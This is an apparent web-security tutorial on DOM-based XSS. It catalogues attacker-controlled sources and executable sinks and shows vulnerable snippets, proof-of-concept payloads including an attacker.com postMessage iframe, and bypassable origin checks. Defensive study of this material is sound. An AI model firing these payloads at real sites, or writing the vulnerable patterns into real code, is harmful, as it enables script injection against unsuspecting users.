Quick answer
DOM XSS is client-side: the payload never touches the server. The flow is source → sink with or without an intermediate gadget. Common sources: location.hash, postMessage, document.referrer, window.name, localStorage. Executable sinks: innerHTML, outerHTML, eval, setTimeout(string), document.write, jQuery $.html(), Function(). When there's no direct sink, gadgets (toString coercion, jQuery addBack, lodash _.set) turn a "clean" sink into arbitrary execution.
Sources — where the controlled input comes from
Any data the attacker can manipulate without requiring the backend.
| Source | Manipulation | Notes |
|---|---|---|
location.hash | URL fragment #payload | Not sent to the server, ideal for leaving no logs |
location.search | ?param=payload | Reflected server-side usually gives classic RXSS, client-side gives DOM XSS |
location.pathname | URL path segments | Useful with client-side routers (React Router) |
document.referrer | The Referer header of the previous request | The attacker controls it via their own page with a link |
window.name | Persists cross-origin via target.name=... before navigating | A classic source for CSP bypass |
postMessage | iframe.contentWindow.postMessage(...) | Most exploited DOM XSS vector in 2026 |
localStorage / sessionStorage | Set from another XSS or subdomain | Persistent |
IndexedDB | Same origin | Idem |
WebSocket message | If the app opens a WS and the attacker can inject messages (MITM, server bug) | Niche |
BroadcastChannel | Messages between same-origin tabs | Niche |
document.cookie | Set from a subdomain or cookie tossing | Useful when there's client-side parsing |
Sinks — where JavaScript executes
"Hard" sinks (they execute JS directly if you put a payload in them):
element.innerHTML = userInput;
element.outerHTML = userInput;
element.insertAdjacentHTML('beforeend', userInput);
eval(userInput);
setTimeout(userInput, 0); // string, no función
setInterval(userInput, 0);
Function(userInput)();
new Function('a', userInput)();
document.write(userInput);
document.writeln(userInput);
$.html(userInput); // jQuery
$(userInput); // jQuery con HTML string
range.createContextualFragment(userInput);
"Soft" sinks (they need the payload to have a specific shape):
location.href = userInput; // javascript:alert(1)
location.assign(userInput);
location.replace(userInput);
element.src = userInput; // <iframe src=javascript:...>
element.href = userInput; // <a href=javascript:...>
element.action = userInput; // <form action=javascript:...>
element.onclick = userInput; // requiere función o setAttribute con string
window.open(userInput);
history.pushState(state, '', userInput); // si reflejado luego con innerHTML
Trivial source → sink pattern
// Vulnerable
document.getElementById('content').innerHTML = location.hash.slice(1);
https://target.com/page#<img src=x onerror=alert(1)>
Automatic detection: DOM Invader (Burp), DOMSnitch (Chrome extension), or the manual hook:
// Inyectar en DevTools console para tracear flow
const origInnerHTML = Object.getOwnPropertyDescriptor(Element.prototype, 'innerHTML');
Object.defineProperty(Element.prototype, 'innerHTML', {
set(v) {
if (location.hash.slice(1) && v.includes(location.hash.slice(1))) {
console.warn('[DOM XSS] hash → innerHTML:', v, new Error().stack);
}
origInnerHTML.set.call(this, v);
}
});
postMessage handlers — the #1 vector of 2026
The window.addEventListener('message', ...) listener receives cross-origin data. If it doesn't validate event.origin, any external domain (an iframe opened on attacker.com with target.com framed) can send payloads.
// Vulnerable
window.addEventListener('message', (e) => {
document.getElementById('ads').innerHTML = e.data;
});
Exploit:
<!-- attacker.com -->
<iframe src="https://target.com/" onload="
this.contentWindow.postMessage('<img src=x onerror=alert(1)>', '*')
"></iframe>
More sophisticated variations
JSON message + property dispatch
window.addEventListener('message', (e) => {
const data = JSON.parse(e.data);
if (data.type === 'render') {
document.getElementById(data.target).innerHTML = data.html;
}
});
Payload:
target.contentWindow.postMessage(
JSON.stringify({ type: 'render', target: 'ads', html: '<svg onload=alert(1)>' }),
'*'
);
Origin check with .includes or a loose regex
if (e.origin.includes('target.com')) { ... } // attacker-target.com pasa
if (e.origin.match(/target\.com/)) { ... } // attacker.com/target.com (path) pasa en URLs
if (e.origin.endsWith('target.com')) { ... } // eviltarget.com pasa
Any validation that doesn't use e.origin === 'https://target.com' is bypassable.
Keep reading the full chain
The remaining part includes the step-by-step PoC, exploitation code and the full chain that led to impact. Available to subscribers.
Practice this in a lab
Dom Xss Gadgets Postmessage
Keep learning · free account
Save your progress, unlock advanced payloads and rank your flags.
Related articles
DOM XSS — gadgets, postMessage handlers and CVE-2025-59840
DOM XSS isn't just innerHTML. Sources/sinks, gadget chains via toString(), postMessage handlers without origin checks, broken hash-based routing.
Client-side admin bypass — boolean manipulation + BAC in a modern SPA
Real Quora report: SPA with an isAdmin boolean in localStorage that controls the UI + a backend that doesn't validate server-side. How to chain a boolean flip with BAC for admin takeover.
Client-side JavaScript analysis — endpoints, secrets and source maps
Extracting hidden endpoints from JS bundles, secret detection, source map analysis and dynamic instrumentation with Frida to audit client-side logic.